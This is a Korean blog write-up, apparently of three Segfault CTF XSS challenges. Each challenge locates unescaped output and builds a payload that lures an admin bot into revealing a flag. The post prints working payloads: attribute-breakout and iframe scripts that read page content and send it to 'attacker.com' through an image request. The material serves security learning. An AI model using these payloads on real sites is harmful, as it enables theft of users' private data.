Segfault CTF 11주차

총 3개의 문제가 있다. 푸는 순서는 `Basic Script Prac` -> `Steal Info` -> `Steal Info 2`이다.
이번 3개의 문제들은 기본적으로 관리자 봇을 XSS 취약점이 존재하는 특정 링크에 접속시켜, 관리자 계정으로 접속해야만 볼 수 있는 텍스트를 탈취하는 것이 목표다.
1. Basic Script Prac

XSS가 일어나는 포인트를 알려줬다. Mypage에서 정확히 어느 지점에서 XSS가 일어날 수 있는지 알아보겠다.
XSS Point

`ID: nciwo, PW: nciwo`로 로그인한 뒤 Mypage에 접속한 모습이다. 얼핏 보기에는 ID 입력창에서 XSS가 일어날 것처럼 보인다. 관리자 계정으로 Mypage에 접속하면 "Flag Here..!"라고 되어있는 부분에 Flag가 있을 것으로 보인다.
서버에 저장된 세션을 참고해 ID를 placeholder로 설정해둔 것일 수도 있지만 혹시 URL의 파라미터를 그대로 가져온 것일 수도 있기 때문에 URL의 파라미터를 변조해보겠다.

파라미터 `user`에 대한 값으로 `nciwo<'">`를 입력했더니 입력창이 깨져 출력되었다.

Burp Suite를 통해 응답받은 패킷을 살펴보면 위와 같다. HTML 특수문자들이 HTML Entity로 치환되지 않고 그대로 출력이 되는 모습이다. 여기가 XSS 포인트다.
Javascript Code
관리자 계정에서는 위에서 봤듯이 "Flag Here..!"라고 써있는 부분에 Flag가 placeholder의 값으로 있을 것이다. 따라서 정확히 저 부분에 있는 텍스트를 추출해낼 필요가 있다.

저 입력창을 식별할 수 있는 정보는 `name` 속성의 값으로 `info`가 지정되어 있다는 것이다. Console 창에 다음 코드를 테스트해보겠다.
const infos = document.getElementsByName('info');
console.log(infos[0].placeholder);

이렇게 얻어낸 `info`의 placeholder 값을 공격자 서버로 전송하기만 하면 된다.
const infos = document.getElementsByName('info');
const data = infos[0].placeholder;
const i = new Image();
i.src="http://attacker.com/?data=" + data;
Attack
공격 스크립트도 준비되었으니 XSS 포인트에 스크립트를 삽입하여 URL을 만들기만 하면 된다.

이미 존재하던 <input> 태그는 최대한 깨지지 않는 선에서 스크립트를 삽입해보겠다.
... placeholder="[입력]"/>
원래의 형태는 위와 같다. `[입력]`의 앞부분은 깨질 우려가 적지만, 뒤에 있는 `"/>`는 자칫하면 깨질 수도 있다. 따라서 시작과 끝맺음은 다음처럼 하는 것이 좋다.
... placeholder="" [부가 입력] class=""/>
`" [부가 입력] class="`라는 입력을 넣어 `[부가 입력]` 구간에 자유롭게 태그 속성을 편집할 수 있도록 하였다.
`onfocus` 속성을 사용하면 해당 입력창에 focus됐을 때 특정 스크립트를 실행시킬 수 있다. 추가적으로 `autofocus` 속성을 사용하면 페이지가 로딩되었을 때 해당 태그를 자동으로 focus되도록 할 수 있다.
... placeholder="" onfocus="[javascript]" autofocus class=""/>
즉, 위와 같이 입력을 넣으면 `[javascript]` 부분에 있는 코드를 페이지가 로드되자마자 실행시킬 수 있는 것이다. 아까 만든 javascript 코드를 `[javascript]` 부분에 넣기만 하면 공격 준비가 거의 완료된다.
" onfocus="const infos = document.getElementsByName('info');const data = infos[0].placeholder;const i = new Image();i.src='http://attacker.com/?data=' + data;" autofocus class="
최종적으로 `user` 파라미터의 값으로 들어갈 문구의 원본은 위와 같다.
해당 값을 URL 인코딩하여 입력해 들어갔을 때 공격자의 서버로 패킷이 날아간다면 성공적인 것이다.

관리자 봇에게 만들어진 URL을 던져주면 알아서 Flag가 들어올 것이다.

requestbin을 이용해, 관리자 봇의 요청에 대한 로그를 확인했다.
2. Steal Info

`Basic Script Prac`과 비슷한 패턴의 문제다. 이번에는 XSS Point를 가르쳐주지 않았다.
secret.php

`~/scriptPrac/secret.php`로 접속하면 권한이 없다면서 튕겨져 나온다. 아마 관리자 권한이 있어야만 접근 가능한 것 같다. 이 페이지를 대신해서 존재하는 것이 mypage.html인 것 같다.

`내 정보` 란에 "This is a Very Secret Info."라고 쓰여있다. secret.php에선 해당 부분에 Flag가 있을 것 같다.
XSS Point
어떤 정보를 얻어야할지는 대충 감을 잡았으나, 사실 더 중요한 건 XSS가 일어나는 지점이다. 다행히 XSS Point는 그리 어렵지 않게 찾아낼 수 있었다.

HTML 특수문자를 담은 글을 작성한 뒤, 글을 읽었을 때 Burp Suite를 통해 정확히 어떤 응답 패킷이 오는가를 살펴보면,

HTML Entity로 치환되지 않은 날 것의 텍스트가 그대로 오는 것을 확인할 수 있다. 즉, notice_read.php에서 XSS 취약점이 존재한다.
Get Info
앞서 mypage.html(secret.php)에 중요한 정보가 있을 것이라는 추측을 하였다. 해당 정보를 공격자의 서버로 보내보겠다.

중요한 텍스트를 식별할 수 있는 정보는 속성 `class`의 값이 "card-text"라는 것이다. 하지만 `class`는 고유한 정보를 담는 속성은 아니다.

`class`로 "card-text"를 가진 태그는 총 2개였다. 그 중에서도 인덱스 1번에 찾고자 했던 정보가 담겨 있었다. 이를 토대로 공격자 서버로 중요한 정보를 보내는 코드를 작성할 수 있다.
const cards = document.getElementsByClassName('card-text');
const data = cards[1].innerText;
const i = new Image();
i.src = 'https://attacker.com/?data=' + data;
이 코드를 그대로 적용하려고 했지만 문제가 하나 있다. 취약점은 notice_read.php에 존재하는데, 얻고자 하는 데이터는 secret.php에 있다. secret.php에 있는 데이터를 가져오려면 먼저 notice_read.php에 secret.php 페이지를 불러와야 한다.
iframe
페이지 안에 페이지를 불러오는 좋은 방법이 있다. 바로 <iframe> 태그를 사용하는 것이다.
<iframe src="~/scriptPrac/mypage.html" id="myIframe" onload="
const myIframe = document.getElementById('myIframe');
const newDoc = myIframe.contentDocument;
const cards = newDoc.getElementsByClassName('card-text');
const data = cards[1].innerText;
const i = new Image();
i.src = 'http://attacker.com/?data=' + data;">
</iframe>
<iframe> 태그의 `src` 속성으로 secret.php 페이지를 불러온 뒤, 이 <iframe>로 기존의 document 객체를 대신해 사용한다.
스크립트는 <iframe>의 로드가 완료된 뒤에 실행되어야하므로 `onload` 속성을 이용해 스크립트를 나중에 실행하도록 하였다.
`myIframe.contentDocument`를 이용해 secret.php의 DOM을 새로운 변수에 담아 사용할 수 있는 것이다.
Attack
공격 스크립트 전문은 다음과 같다.
<iframe src="~/scriptPrac/mypage.html" id="myIframe">
</iframe>
<script>
const myIframe = document.getElementById('myIframe');
const newDoc = myIframe.contentDocument;
const cards = newDoc.getElementsByClassName('card-text');
const data = cards[1].innerText;
const i = new Image();
i.src = "https://attacker.com/?data=" + data;
</script>
secret.php에는 접속 권한이 없으므로 secret.php -> mypage.html로 대체해서 테스트해보겠다.


글을 작성한 뒤 게시판에서 해당 제목을 클릭하여 들어가면 공격자의 서버로 "This is a Very Secret Info."라는 문구가 전송된다.

Burp Suite를 통해 공격자의 서버로 데이터를 전송하는 것을 확인했다. 악성 스크립트에서 mypage.html -> secret.php로 수정하여 관리자 봇에게 해당 포스트의 URL을 줘보도록 하겠다.

공격자의 서버 로그에 Flag가 전송된 것을 확인했다.
3. Steal Info 2

admin 계정의 마이페이지 정보란에 Flag가 숨겨져 있다고 한다. 먼저 일반 사용자의 마이페이지를 확인해볼 필요가 있다.

정보란이라고 하면 아무래도 빨간색 네모로 강조한 "Nothing Here..."이 적힌 부분을 말하는 것 같다.

해당 태그를 식별할 수 있는 고유 정보인 `id`가 존재한다. 데이터를 가져오기는 수월할 것으로 보인다.
const userInfo = document.getElementById('userInfo');
const data = userInfo.placeholder;
const i = new Image();
i.src= 'http://attacker.com/?data=' + data;

XSS Point
이번 문제에서도 멀지 않은 곳에서 XSS 취약점을 찾을 수 있었다. 바로 전 문제와 동일하게 notice_read.php에 XSS 취약점이 존재했다.


이번 페이지에서도 HTML 특수문자들은 HTML Entity로 치환되지 않은 상태로 클라이언트에게 전달되었다.
Steal Info 2에서도 같은 지점에서 XSS가 일어날 수 있다.
Attack
앞선 문제를 풀었다면 이번 문제 또한 어려울 것이 없다. 바로 악성 스크립트를 작성해보겠다.
<iframe src="~/scriptPrac2/mypage.php" id="myIframe" onload="
const myIframe = document.getElementById('myIframe');
const newDoc = myIframe.contentDocument;
const userInfo = newDoc.getElementById('userInfo');
const data = userInfo.placeholder;
const i = new Image();
i.src = 'http://attacker.com/?data=' + data;
">
</iframe>


Burp Suite를 통해 "Nothing Here..."라는 문구가 정상적으로 공격자 서버로 보내진 것을 확인할 수 있다.
이제 해당 포스트의 URL을 관리자 봇에게 주도록 하겠다.


'Study > with normaltic' 카테고리의 다른 글
| Segfault CTF - 12주차 (4) | 2025.07.02 |
|---|---|
| XSS - Cross Site Scripting (0) | 2025.06.22 |
| SegFault CTF - 7주차 (1) | 2025.05.28 |
| Blind SQL Injection (0) | 2025.05.25 |
| Error-based SQL Injection (0) | 2025.05.25 |